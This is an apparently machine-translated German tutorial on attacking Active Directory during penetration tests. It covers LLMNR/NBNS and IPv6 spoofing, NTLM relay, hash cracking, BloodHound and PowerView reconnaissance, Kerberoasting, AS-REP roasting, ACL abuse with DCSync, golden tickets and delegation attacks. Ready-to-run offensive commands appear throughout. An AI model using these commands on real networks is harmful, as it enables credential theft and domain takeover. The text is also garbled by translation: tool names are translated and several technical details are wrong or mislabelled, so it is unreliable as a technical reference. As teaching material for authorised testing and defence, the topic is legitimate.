Domain-Angriffe


Bei der Durchführung von Penetrationstests stellen wir häufig Fehler in der Domänenkonfiguration fest. Obwohl dies für viele nicht kritisch erscheint, können solche Ungenauigkeiten in der Realität dazu führen, dass die gesamte Domäne kompromittiert wird.

Nach den Ergebnissen des Pentests in einem Unternehmen kamen wir beispielsweise zu dem Schluss, dass alle verfügbaren Computer in der Domäne nicht niedriger als Windows 10 / Windows Server 2016 waren und die neuesten Patches enthielten. Das Netzwerk wurde regelmäßig gescannt, die Maschinen waren hart. Alle Benutzer saßen durch Token und kannten ihre "20-stelligen Passwörter" nicht. Alles scheint in Ordnung zu sein, aber IPv6 wurde nicht deaktiviert. Das Domain-Capture-Schema sah folgendermaßen aus:

mitm6 -> ntlmrelay -> Angriff durch Delegierung -> lokaler Administrator-Passwort-Hash wird empfangen -> Domänenadministrator-Passwort-Hash wird empfangen.

Leider lehren gängige Zertifizierungen wie OSCP, GPEN oder CEH keine Active Directory-Penetrationstests.

In diesem Artikel werden verschiedene Arten von Active Directory-Angriffen, die wir im Rahmen von Pentests ausgeführt haben, sowie die verwendeten Tools beschrieben. Dies kann in keiner Weise als vollständige Anleitung für alle Arten von Angriffen und Tools angesehen werden. Es gibt wirklich viele davon, und es ist schwierig, in einen Artikel zu passen.

Zur Demonstration verwenden wir einen Laptop unter Kali Linux 2019 und die darauf gehosteten virtuellen Hosts unter VMware. Stellen Sie sich vor, das Hauptziel des Pentests besteht darin, Domänenadministratorrechte zu erhalten, und als Eingabe haben wir über Ethernet Zugriff auf das Unternehmensnetzwerk des Unternehmens. Um die Domain testen zu können, benötigen wir ein Konto.

Ein Konto bekommen


Betrachten Sie die beiden meiner Meinung nach am häufigsten verwendeten Methoden zum Abrufen der Anmeldung und des Kennworts für das Domänenkonto: LLMNR / NBNS-Spoofing und Angriff auf das IPv6-Protokoll.

LLMNR / NBNS Spoofing


Über diesen Angriff wurde ziemlich viel gesagt. Unter dem Strich sendet der Client Multicast-LLMNR und sendet NBT-NS-Anforderungen zum Auflösen von Hostnamen, wenn DNS fehlschlägt. Jeder Netzwerkbenutzer kann solche Anfragen beantworten.

Tools, die einen Angriff ermöglichen:

  • Antwort
  • Inveight
  • Metasploit-Module: auxiliary / spoof / llmnr / llmnr_response, auxiliary / spoof / nbns / nbns_response,
    Auxiliary / Server / Capture / SMB, Auxiliary / Server / Capture / http_ntlm

Bei einem erfolgreichen Angriff können wir den NetNTLM-Hash des Benutzerpassworts abrufen.

Responder -I eth0 -wrf 



Mit dem resultierenden Hash können wir NTLM-Relays debuggen oder ausführen.

IPv6-Angriff


Wenn IPv6 im Unternehmensnetzwerk verwendet wird, können wir auf DHCPv6-Anforderungen antworten und unsere IP-Adresse als DNS-Server auf dem angegriffenen Computer festlegen. Da IPv6 Vorrang vor IPv4 hat, werden Client-DNS-Abfragen an unsere Adresse gesendet. Lesen Sie hier mehr über den Angriff.

Werkzeuge:


Mitm6-Dienstprogramm ausführen

 mitm6 -i vmnet0 

Nach Abschluss des Angriffs wird auf der angegriffenen Workstation ein neuer DNS-Server mit unserer IPv6-Adresse angezeigt.



Angegriffene Computer versuchen, sich bei unserem Computer zu authentifizieren. Nachdem wir den SMB-Server mit dem Dienstprogramm smbserver.py aufgerufen haben , können wir Benutzerkennwort-Hashes abrufen .

 smbserver.py -smb2support SMB /root/SMB 



Erfasste Hash-Aktionen


Der nächste Schritt besteht darin, entweder einen kryptografischen Angriff auf die Kennwort-Hashes durchzuführen und das Kennwort im Klartext abzurufen oder ein NTLM-Relay durchzuführen.

Passwort Brute Force


Es ist ganz einfach: Nehmen Sie einen Passwort-Hash, Hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

und Brutus. Das Passwort kann entweder erhalten werden oder nicht :)


Das Harvey-Benutzerkennwort wurde wiederhergestellt - Pbvf2019

NTLM-Relais


Wir können auch NTLM-Relais ausführen. Nachdem wir sichergestellt haben, dass SMB Signing nicht verwendet wird , verwenden wir das Dienstprogramm ntlmrelayx.py und führen einen Angriff durch. Auch hier wählen wir je nach Ziel den gewünschten Vektor aus. Betrachten wir einige davon.


Zugriff auf den angegriffenen Computer über das SMB-Protokoll


Führen Sie einen Angriff mit Schlüssel i durch .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



Bei einem erfolgreichen Angriff können wir mithilfe von Netcat eine Verbindung zum Remote-Computer herstellen.



Domain Information Collection


In diesem Fall führen wir das Relay zum Domänencontroller durch.

 ntlmrelayx.py -t ldap://192.168.1.2 

Wenn der Angriff erfolgreich ist, erhalten wir detaillierte Informationen zur Domain:



Hinzufügen eines neuen Computers zur Domäne


Jeder Benutzer kann standardmäßig bis zu 10 Computer in der Domäne erstellen. Um einen Computer zu erstellen, müssen Sie ein Relay auf einem Domänencontroller mithilfe des ldaps-Protokolls ausführen. Das Erstellen von Benutzern und Computern über eine unverschlüsselte LDAP-Verbindung ist untersagt. Außerdem kann kein Konto erstellt werden, wenn die Verbindung über SMB abgefangen wird.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



Wie Sie in der Abbildung sehen können, konnten wir einen Computer RORYOTGS $ erstellen.

Beim Erstellen von mehr als 10 Computern wird die folgende Fehlermeldung angezeigt:



Mit den Anmeldeinformationen eines RORYOTGS $ -Computers können wir legitime Anforderungen an einen Domänencontroller ausführen.

Domain Information Collection


Wir haben also einen Domänenbenutzer oder ein Computerkonto. Um mit dem Testen fortzufahren, müssen wir verfügbare Informationen für die weitere Angriffsplanung sammeln. Betrachten Sie einige der Tools, mit denen wir die Suche nach den kritischsten Systemen ermitteln, einen Angriff planen und ausführen können.

Bluthund


Eines der wichtigsten Werkzeuge, das bei fast allen internen Penetrationstests verwendet wird. Das Projekt wird aktiv weiterentwickelt und durch neue Funktionen ergänzt.

Vom Bluthund gesammelte Informationen
  • Gruppe - Führt eine Gruppenmitgliedschaftssammlung durch
  • LocalAdmin - Führt eine lokale Administratorsammlung durch
  • RDP - Führt eine Remotedesktopbenutzersammlung durch
  • DCOM - Führt eine Sammlung verteilter COM-Benutzer durch
  • GPOLocalGroup - Führt eine lokale Administratorsammlung mithilfe von Gruppenrichtlinienobjekten durch
  • Sitzung - Führt die Sitzungserfassung durch
  • ComputerOnly - Führt die lokale Admin-, RDP-, DCOM- und Sitzungssammlung durch
  • LoggedOn - Führt eine Sammlung privilegierter Sitzungen durch (erfordert Administratorrechte auf Zielsystemen)
  • Vertrauensstellungen - Führt eine Aufzählung der Domänenvertrauensstellungen durch
  • ACL - Führt eine Sammlung von ACLs durch
  • Container - Führt eine Sammlung von Containern durch.
  • DcOnly - Führt die Erfassung nur mit LDAP durch. Beinhaltet Group, Trusts, ACL, ObjectProps, Container und GPOLocalGroup
  • Alle - Führt alle Erfassungsmethoden außer GPOLocalGroup und LoggedOn aus
  • Gesamtstruktur durchsuchen - Durchsuchen Sie alle Domänen in der Gesamtstruktur anstatt nur Ihre aktuelle
  • Domain - Suchen Sie eine bestimmte Domain. Verwendet Ihre aktuelle Domain, wenn null (Standard: null)
  • Stealth - Führt Stealth-Erfassungsmethoden aus. Alle Stealth-Optionen sind Single-Threaded-Optionen
  • SkipGCDeconfliction - Überspringen Sie die Dekonfliktierung des globalen Katalogs während der Sitzungsaufzählung. Dies kann die Aufzählung beschleunigen, führt jedoch zu möglichen Ungenauigkeiten in den Daten
  • ExcludeDc - Schließt Domänencontroller von der Aufzählung aus (vermeidet Microsoft ATA-Flags)
  • Computerdatei - Geben Sie eine Datei an, aus der Computernamen / IPs geladen werden sollen
  • OU - Geben Sie an, welche OU aufgelistet werden soll


Die Informationssammler sind SharpHound.exe (erfordert die Installation von .NET v3.5) und das in Powershell geschriebene Skript SharpHound.ps1. Es gibt auch einen Compiler, der von einem Python-Entwickler von Drittanbietern, Bloodhound-Python, geschrieben wurde .

Als Datenbank wird Neo4j verwendet, das über eine eigene Syntax verfügt, mit der Sie benutzerdefinierte Abfragen ausführen können. Weitere Informationen zur Syntax finden Sie hier .

Standardmäßig sind 12 Anfragen verfügbar
  • Hier finden Sie alle Domain-Administratoren
  • Finden Sie die kürzesten Wege zu Domain-Administratoren
  • Finden Sie Principals mit DCSync-Rechten
  • Benutzer mit ausländischer Domaingruppenmitgliedschaft
  • Gruppen mit ausländischer Domain-Gruppenmitgliedschaft
  • Zuordnen von Domain-Vertrauensstellungen
  • Kürzeste Wege zu uneingeschränkten Delegierungssystemen
  • Kürzeste Pfade von Kerberoastable-Benutzern
  • Kürzeste Wege zu Domänenadministratoren von Kerberoastable-Benutzern
  • Kürzester Weg von den eigenen Auftraggebern
  • Kürzeste Wege zu Domain-Administratoren von eigenen Principals
  • Kürzeste Wege zu hochwertigen Zielen


Die Entwickler stellen auch das Skript DBCreator.py zur Verfügung , mit dem Sie eine zufällige Datenbank zum Testen generieren können.



Neo4j hat eine REST-API. Es gibt verschiedene Dienstprogramme, die eine Verbindung zur Datenbank herstellen und die empfangenen Daten verwenden können:


Betrachten wir einige davon.

Cypherdog


CypherDog ist eine in Powershell geschriebene BloodHound-Shell. Enthält 27 Cmdlets.

Cmdlet-Liste
CmdletSynopsis
Get-BloodHoundCmdletBloodHound RTFM - Holen Sie sich Cmdlet
Send-BloodhoundpostBloodHound POST - Cypher to REST API
Get-BloodHoundNodeBloodHound-Knoten - Get Node
Search-BloodHoundNodeBloodHound-Knoten - Suchknoten
New-BloodHoundNodeBloodHound-Knoten - Knoten erstellen
Set-BloodhoundnodeBloodHound-Knoten - Update-Knoten
Remove-BloodHoundNodeBloodHound-Knoten - Knoten löschen
Get-BloodHoundNodeListBloodHound Node - Liste abrufen
Get-BloodHoundNodeHighValueBloodHound Node - Holen Sie sich HighValue
Get-BloodHoundNodeOwnedBloodHound Node - Werden Sie Eigentümer
Get-BloodHoundNodeNoteBloodHound Node - Hinweis erhalten
Set-BloodHoundNodeNoteBloodHound Node - Notizen setzen
Get-BloodHoundBlacklistBloodHound Node - Holen Sie sich die Blacklist
Set-BloodHoundBlacklistBloodHound Node - Setze die Blacklist
Remove-BloodHoundBlacklistBloodHound Node - Schwarze Liste entfernen
Get-BloodHoundEdgeBloodHound Edge - Ziel erreichen
Get-BloodHoundEdgeReverseBloodHound Edge - Quelle abrufen
Get-BloodHoundEdgeCrossDomainBloodHound Edge - Holen Sie sich CrossDomain
Get-BloodHoundEdgeCountBloodHound Edge - Get Count
Get-BloodHoundEdgeInfoBloodHound Edge - Holen Sie sich Informationen
New-BloodHoundEdgeBloodHound Edge - Kante erstellen
Remove-BloodHoundEdgeBloodHound Edge - Edge löschen
Get-BloodHoundPathShortBloodHound Path - Am kürzesten werden
Get-BloodHoundPathAnyBloodHound Path - Holen Sie sich welche
Get-BloodHoundPathCostBloodHound Path - Kosten bekommen
Get-BloodHoundPathCheapBloodHound Path - Günstigstes Angebot
Get-BloodHoundWald0IOBloodHound Path - Holen Sie sich den Wald0-Index


Anwendungsbeispiele
Das TeamBeschreibung
Search-BloodHoundNode -Type Computer -Property uneingeschränkte Delegation -Wert $ true | Wählen Sie Name, Serviceprincipalnames, unbeschränkte Delegation, Betriebssystem | Format-ListeSuchen Sie nach Computern mit unbegrenzter Kerberos-Delegierung
Edge-Benutzer ADMINISTRATOR@JET.LAB MemberOf GroupBenutzergruppen auflisten
Welcher Computer hatSession-Benutzer ADMINISTRATOR@JET.LABListen Sie Computer auf, auf denen eine Administrator-Benutzersitzung stattfindet
Pfadbenutzer Computer HARVEY@JET.LAB DC1.JET.LABDrucken Sie den Pfad vom Benutzer zum Domänencontroller
welcher Benutzer MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | ListenanmeldungListen Sie aktive Benutzersitzungen auf, die Mitglieder der Gruppe DOMAIN Admins sind
welcher Benutzer MemberOf Group 'DOMAIN ADMINS@JET.LAB' | Anmeldung auflisten |? operat * -match 7 | Liste AdminTo | Name auswählenListen Sie Benutzer mit Administratorrechten auf Arbeitsstationen unter Windows 7 auf, die eine Sitzung mit Benutzern aus der Gruppe der Domänenadministratoren haben


Standardmäßig ist eine Authentifizierung erforderlich, um auf die neo4j-Datenbank zugreifen zu können. Sie können die Authentifizierung deaktivieren, indem Sie die Datei neo4j.conf bearbeiten. Die Zeile dbms.security.auth_enabled = false muss auskommentiert werden. Dies wird jedoch nicht empfohlen, da jeder Benutzer unter 127.0.0.1:7474 (Standardkonfiguration) eine Verbindung zur Datenbank herstellen kann. Weitere Informationen zur Authentifizierung und Autorisierung in neo4j finden Sie hier.

Gofetch


GoFetch verwendet ein in Bloodhound erstelltes Diagramm, um einen Angriff zu planen und auszuführen.

Beispiel für ein Bluthunddiagramm


GoFetch-Logik


Angriffsstart

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

GT-Generator


Mit gt-generator können Sie mithilfe von BloodHound-Daten ganz einfach goldene Tickets erstellen. Um ein goldenes Ticket zu erhalten, sind nur der Benutzername und das Passwort des KRBTGT-Benutzers erforderlich.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



Powerview


PowerView ist ein Powershell-Framework, das in PowerSploit enthalten ist . Im Folgenden finden Sie eine Liste einiger Cmdlets, mit denen Sie Informationen zu einer Domain sammeln können.

Cmdlet-Liste
Get-NetDomain -Domain jet.labHolen Sie sich die aktuelle Domain
Get-domainSIDRufen Sie die aktuelle Domain-SID ab
Get-NetDomainController -Domain jet.labHolen Sie sich Domänencontroller für eine Domäne
Get-NetUser -Domain jet.lab -UserName labuserHolen Sie sich Benutzer einer Domain
Get-NetGroup * Gruppenname *Holen Sie sich alle Gruppen in der aktuellen Domain
Get-NetGroupMember -GroupName "Domain Admins"Holen Sie sich alle Mitglieder der Domain Admins-Gruppe
Get-NetGroup -UserName "domain_user"Holen Sie sich die Gruppenmitgliedschaft für einen Benutzer
Get-NetComputer -FullDataHolen Sie sich alle Computer der Domäne
Find-LocalAdminAccess -VerboseSuchen Sie alle Computer in der aktuellen Domäne, auf die der aktuelle Benutzer lokalen Administratorzugriff hat
Get-NetSession -ComputerName dc02.jet.labListen Sie Sitzungen auf einem bestimmten Computer auf
Invoke-UserHunter -CheckAccessSuchen Sie nach Computern, auf denen ein Domänenadministrator angemeldet ist und der aktuelle Benutzer Zugriff hat


Adidnsdump


Bei Verwendung von integriertem DNS in Active Directory kann jeder Domänenbenutzer alle Standard-DNS-Einträge abfragen.

Verwendetes Werkzeug: Adidnsdump.



Domain-Angriffe


Nachdem wir die Domain-Informationen haben, fahren wir mit der nächsten Phase des Penetrationstests fort - direkt mit dem Angriff. Betrachten Sie 4 mögliche Vektoren:

  1. Braten
  2. Angriff über ACL
  3. Kerberos-Delegation
  4. Missbrauch von Gruppenrichtlinienobjektberechtigungen


Braten


Diese Art von Angriff zielt auf das Kerberos-Protokoll ab. Es gibt zwei Arten von Angriffen wie Braten:

  • Kerberoast
  • Asreproast

Kerberoast


Der Angriff wurde erstmals 2014 von User Timmedin auf der DerbyCon demonstriert ( Video ). Bei einem erfolgreichen Angriff können wir das Passwort des Dienstultraschalls im Offline-Modus sortieren, ohne befürchten zu müssen, den Benutzer zu blockieren. Sehr oft haben Dienstkonten übermäßige Rechte und ein unbefristetes Kennwort, wodurch wir möglicherweise Domänenadministratorrechte erhalten.
Überlegen Sie, wie Kerberos funktioniert, um die Essenz des Angriffs zu verstehen.



1. Das Passwort wird in einen NTLM-Hash konvertiert, der Zeitstempel wird mit einem Hash verschlüsselt und als Authentifikator in der TGT-Ticketanforderung (AS-REQ) an KDC gesendet. Der Domänencontroller (KDC) überprüft die Benutzerinformationen und erstellt ein TGT-Ticket.

2. Das TGT-Ticket wird verschlüsselt, signiert und an den Benutzer gesendet (AS-REP). Nur der Kerberos-Dienst (KRBTGT) kann Daten aus einem TGT-Ticket öffnen und lesen.

3. Der Benutzer sendet das TGT-Ticket auf Anfrage des TGS-Tickets (TGS-REQ) an den Domänencontroller. Der Domänencontroller öffnet ein TGT-Ticket und überprüft die PAC-Prüfsumme.

4. Das TGS-Ticket wird mit dem NTLM-Hash des Dienstkontokennworts verschlüsselt und an den Benutzer gesendet (TGS-REP).

5. Der Benutzer stellt dem Computer, auf dem der Dienst ausgeführt wird, ein TGS-Ticket zur Verfügung (AP-REQ). Der Dienst öffnet ein TGS-Ticket mit seinem NTLM-Hash.

6. Der Zugriff auf den Dienst wird bereitgestellt (AS-REP).

Nachdem wir ein TGS-Ticket (TGS-REP) erhalten haben, können wir das Passwort für das Dienstkonto offline finden. Zum Beispiel mit Hashcat.

Gemäß RFC396 sind 20 Verschlüsselungstypen für das Kerberos-Protokoll reserviert. Die derzeit verwendeten Verschlüsselungsarten in der Reihenfolge ihrer Priorität:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

In neueren Windows-Versionen wird standardmäßig die AES-Verschlüsselung verwendet. Für die Kompatibilität mit Systemen unter Windows Vista und Windows 2008 Server ist jedoch die Unterstützung des RC4-Algorithmus erforderlich. Bei einem Angriff wird immer zuerst versucht, ein TGS-Ticket mit RC4_HMAC_MD5-Verschlüsselung zu erhalten, das schnellere Passwörter und dann den Rest ermöglicht. Harmj0y führte eine interessante Studie durch und stellte fest, dass das Kerberos-Ticket weiterhin mit RC4_HMAC_MD5-Verschlüsselung ausgestellt wird, wenn Sie in den Benutzereigenschaften nur die Verschlüsselungsunterstützung für Kerberos AES128 und AES256 angeben.



Das Deaktivieren von RC4_HMAC_MD5 ist auf Domänenebene erforderlich .

Kerberoasting-Angriff hat zwei Ansätze.

1. Die alte Methode. TGS-Tickets werden über setspn.exe oder das .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken der Powershell-Klasse angefordert, mit mimikatz aus dem Speicher abgerufen, dann in das gewünschte Format (John, Hashcat) konvertiert und sortiert.

2. Die neue Methode. machosec bemerkte, dass die KerberosRequestorSecurityToken- Klasse über eine GetRequest- Methode verfügt, die den verschlüsselten Teil mit einem Kennwort aus einem TGS-Ticket extrahiert.

Werkzeuge zur Durchführung eines Angriffs:

1) Suchen Sie nach SPN-Datensätzen


2) Fordern Sie ein TGS-Ticket an

  • setspn.exe (natives Windows-Dienstprogramm)
  • Ticketanfrage über Powershell

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Request-SPNTicket

Sie können die aktuell zwischengespeicherten Tickets mit dem Befehl klist anzeigen.

Gemeinsame SPN-Datensätze
  • TERMSRV - Remotedesktop
  • SmtpSVC und SMTP - Mail
  • WSMAN - WinRM
  • ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
  • POP / POP3 - POP3 Postdienst
  • IMAP / IMAP4 - IMAP-E-Mail-Dienst
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - MongoDB-Datenbankserver
  • DNS - DNS-Server
  • HTTP, WWW - Webserver
  • LDAP - LDAP
  • FTP - FTP-Server


3) Export von Tickets:



Ein Beispiel für die automatisierte Ausführung aller 3 Punkte:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


Die Sicherheitsanfälligkeit besteht darin, dass die Kerberos-Vorauthentifizierung deaktiviert ist. In diesem Fall können wir AS-REQ-Anforderungen an einen Benutzer senden, bei dem die Kerberos-Vorauthentifizierung deaktiviert ist, und den verschlüsselten Teil mit einem Kennwort abrufen.



Die Sicherheitsanfälligkeit ist selten, da das Deaktivieren der Vorauthentifizierung nicht die Standardeinstellung ist.

Suchen nach Benutzern mit deaktivierter Kerberos-Authentifizierung:

  • Powerview

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • Active Directory-Modul

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

Erhalten des verschlüsselten Teils:



Angriff über ACL


Eine ACL in einem Domänenkontext besteht aus einer Reihe von Regeln, die die Zugriffsrechte von Objekten in AD definieren. Eine ACL kann für ein einzelnes Objekt (z. B. ein Benutzerkonto) oder für eine Organisationseinheit, z. B. OU, konfiguriert werden. Wenn Sie die ACL in der Organisationseinheit konfigurieren, erben alle Objekte in der Organisationseinheit die ACL. Die ACLs enthalten Zugriffssteuerungseinträge (ACEs), die bestimmen, wie die SID mit dem Active Directory-Objekt interagiert.

Zum Beispiel haben wir drei Gruppen: A, B, C, wobei Gruppe C ein Mitglied der Gruppe B und Gruppe B ein Mitglied der Gruppe A ist. Wenn Sie Gast zu Gruppe C hinzufügen, ist Gast nicht nur Mitglied der Gruppe C, sondern auch ein indirektes Mitglied der Gruppen B und A. Wenn Sie der Gruppe A Zugriff auf ein Domänenobjekt hinzufügen, hat der Gastbenutzer auch Zugriff auf dieses Objekt. In einer Situation, in der der Benutzer ein direktes Mitglied nur einer Gruppe ist und diese Gruppe ein indirektes Mitglied der anderen 50 Gruppen ist, kann die Verbindung geerbter Berechtigungen leicht verloren gehen.

Sie können die dem Objekt zugeordneten ACLs abrufen, indem Sie den folgenden Befehl ausführen

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

Mit dem Tool können Sie Fehler in der ACL-Konfiguration ausnutzen.
Invoke-ACLPwn . Das Powershell-Skript sammelt mithilfe des BloodHound-Kollektors SharpHound Informationen zu allen ACLs in der Domäne und erstellt eine Kette, um die writeDACL-Berechtigung zu erhalten. Nachdem die Kette erstellt wurde, führt das Skript jeden Schritt der Kette aus. Die Reihenfolge des Skripts:

  1. Der Benutzer wird zu den erforderlichen Gruppen hinzugefügt.
  2. Den ACLs des Domänenobjekts werden zwei ACEs (Replizieren von Verzeichnisänderungen und Replizieren von Verzeichnisänderungen ALL) hinzugefügt.
  3. Wenn Sie mit dem Dienstprogramm Mimikatz Rechte an DCSync haben, wird der Kennwort-Hash des Benutzers krbtgt angefordert (Standardeinstellung).
  4. Nach Abschluss des Vorgangs löscht das Skript alle hinzugefügten Gruppen und ACE-Einträge in der ACL.

Das Skript ist nur für die Verwendung von writeDACL-Berechtigungen vorgesehen. Die folgenden Zugriffsrechte können für einen Angreifer ebenfalls von Interesse sein:

  • ForceChangePassword. Rechte zum Ändern des Benutzerkennworts, wenn das aktuelle Kennwort nicht bekannt ist. Betrieb mit PowerSploit - Set-DomainUserPassword.
  • AddMembers. Rechte zum Hinzufügen von Gruppen, Computern und Benutzern zu Gruppen. Betrieb mit PowerSploit - Add-DomainGroupMember.
  • GenericWrite Rechte zum Ändern der Attribute eines Objekts. Ändern Sie beispielsweise den Wert des Parameters scriptPath. Wenn sich der Benutzer das nächste Mal am System anmeldet, wird die angegebene Datei gestartet. Betrieb mit PowerSploit - Set-DomainObject.
  • WriteOwner. Rechte zum Ändern des Eigentümers des Objekts. Betrieb mit PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. Rechte zum Hinzufügen von Benutzern zu Gruppen, Ändern von Benutzerkennwörtern usw. Betrieb mit PowerSploit - Set-DomainUserPassword oder Add-DomainGroupMember.

Bedienung:


Ausgehend von einem Computer, der sich in einer Domäne befindet

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

Ausgehend von einem Computer, der sich nicht in einer Domäne befindet

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • aclpwn.py ist ein ähnliches Tool, das in Python geschrieben wurde

Kerberos-Delegation


Mit der Kerberos-Berechtigungsdelegation können Sie Endbenutzeranmeldeinformationen wiederverwenden, um auf Ressourcen zuzugreifen, die auf einem anderen Server gehostet werden.

Es gibt drei Arten der Kerberos-Delegierung:

  1. Unbegrenzt (uneingeschränkte Delegation). Die einzige Delegierungsoption vor Windows Server 2003
  2. Eingeschränkte Delegierung seit Windows Server 2003
  3. Ressourcenbasierte eingeschränkte Delegierung Eingeführt in Windows Server 2012

Unbegrenzte Delegation


Im Active Directory-Snap-In ist die unbegrenzte Delegierungsfunktion wie folgt aktiviert:



Überlegen Sie aus Gründen der Übersichtlichkeit, wie eine unbegrenzte Delegierung in einem Diagramm erfolgt.



  1. Das Benutzerkennwort wird in ntlm-Hash konvertiert. Der Zeitstempel wird mit diesem Hash verschlüsselt und an den Domänencontroller gesendet, um ein TGT-Ticket anzufordern.
  2. Der Domänencontroller überprüft die Informationen über den Benutzer (Einschränkung der Anmeldung, Mitgliedschaft in Gruppen usw.), erstellt ein TGT-Ticket und sendet es an den Benutzer. Das TGT-Ticket ist verschlüsselt, signiert und nur krbtgt kann seine Daten lesen.
  3. Der Benutzer fordert ein TGS-Ticket an, um auf den Webservice auf dem Webserver zuzugreifen.
  4. Der Domänencontroller stellt ein TGS-Ticket bereit.
  5. Der Benutzer sendet TGT- und TGS-Tickets an den Webserver.
  6. Das Webserver-Dienstkonto verwendet das TGT-Ticket des Benutzers, um ein TGS-Ticket für den Zugriff auf den Datenbankserver anzufordern.
  7. Das Dienstkonto stellt als Benutzer eine Verbindung zum Datenbankserver her.

Die Hauptgefahr einer unbegrenzten Delegierung besteht darin, dass ein Angreifer bei einer Gefährdung eines Computers mit unbegrenzter Delegierung TGT-Tickets von Benutzern von diesem Computer abrufen und im Namen dieser Benutzer auf jedes System in der Domäne zugreifen kann.

Suchen Sie nach Computern in einer Domäne mit unbegrenzter Delegierung:

  • Powerview

     Get-NetComputer -unconstrained 
  • Active Directory-Modul

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

Ticket Export:

  • Mit Mimikatz. sekurlsa :: tickets / export
  • Sie können auch einen Pass-The-Ticket-Angriff durchführen.

      kerberos::ptt C:\tickets\. 



Begrenzte Delegation


Mit dem Modus der eingeschränkten Delegierung können Sie nur auf zulässige Dienste und auf einem bestimmten Computer zugreifen. Im Active Directory-Snap-In sieht es folgendermaßen aus:



Bei begrenzter Delegierung werden 2 Kerberos-Protokollerweiterungen verwendet:

  • S4uself
  • S4UProxy

S4U2Self wird verwendet, wenn sich der Client nicht mit dem Kerberos-Protokoll authentifiziert.

Für eine unbegrenzte Delegierung wird TGT verwendet, um den Benutzer zu identifizieren. In diesem Fall verwendet die S4U-Erweiterung die PA-FOR-USER- Struktur als neuen Typ im Datenfeld padata / pre-authentication. Der S4U2self-Prozess ist nur zulässig, wenn für den anfordernden Benutzer das Feld TRUSTED_TO_AUTH_FOR_DELEGATION in seinem userAccountControl festgelegt ist.



Mit S4U2Proxy kann das Dienstkonto das im S4U2proxy-Prozess empfangene Weiterleitungsticket verwenden, um ein TGS-Ticket für den Zugriff auf zulässige Dienste anzufordern (msds-allowtodelegateto). KDC prüft, ob der angeforderte Dienst im Feld msds-allowtodelegateto des anfordernden Benutzers angegeben ist, und stellt ein Ticket aus, wenn die Prüfung erfolgreich ist. Daher ist die Delegierung auf bestimmte Zieldienste „beschränkt“.



Mit PowerView können Sie in einer begrenzten Delegierungsdomäne nach Computern und Benutzern suchen .

Suchen Sie nach Computern mit unbegrenzter Delegierung

 Get-DomainComputer -TrustedtoAuth 

Suchen Sie nach Benutzern mit eingeschränkter Delegierung

 Get-DomainUser -TrustedtoAuth 

Um einen Angriff durchzuführen, benötigen wir ein offenes Passwort, einen NTLM-Passwort-Hash oder ein TGT-Ticket.



Ressourcenbasierte begrenzte Delegation


Wie bei der regulären Delegierung werden S4U-Erweiterungen verwendet. Da es sich bei der ressourcenbasierten Delegierung in erster Linie um eine begrenzte Delegierung handelt, sind hier auch Angriffe verfügbar, die für eine reguläre eingeschränkte Delegierung relevant sind. Der einzige Unterschied besteht darin, dass in einer einfachen eingeschränkten Delegierung Dienst A das Attribut msDS-AllowedToDelegateTo = ServiceB und Dienst B das Attribut msDS-AllowedToActOnBehalfOfOtherIdentity = Dienst A haben sollte .



Diese Eigenschaft ermöglicht einen weiteren Angriff, der von harmj0y veröffentlicht wird. Für einen Angriff sind Berechtigungen erforderlich, um den Parameter PrincipalsAllowedToDelegateToAccount zu ändern, mit dem das Attribut msds-AllowedToActOnBehalfOfOtherIdentity festgelegt wird, das eine Zugriffssteuerungsliste (ACL) enthält. Im Gegensatz zur eingeschränkten Delegierung benötigen wir keine Domänenadministratorrechte, um das Attribut msds-AllowedToActOnBehalfOfOtherIdentity zu ändern. Sie können wie folgt herausfinden, wer zum Bearbeiten des Attributs berechtigt ist:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



Um den Angriff auszuführen, führen Sie mitm6 aus

 mitm6 -I vmnet0 

Wir starten ntlmrelayx mit der Option --delegate-access

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

Als Ergebnis des Angriffs wird ein ZGXTPVYX $ -Computer mit Delegierungsrechten an den Windows7-Computer erstellt.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Ein guter Bericht über die Delegation wurde präsentiert auf PHDays Egor Podmokovym.



Missbrauch von Gruppenrichtlinienobjektberechtigungen


Gruppenrichtlinienobjekte ist ein Tool, mit dem Administratoren eine Domäne effizient verwalten können. Es kommt jedoch vor, dass Benutzern unnötige Rechte zugewiesen werden, einschließlich zum Ändern von Gruppenrichtlinienobjektrichtlinien.

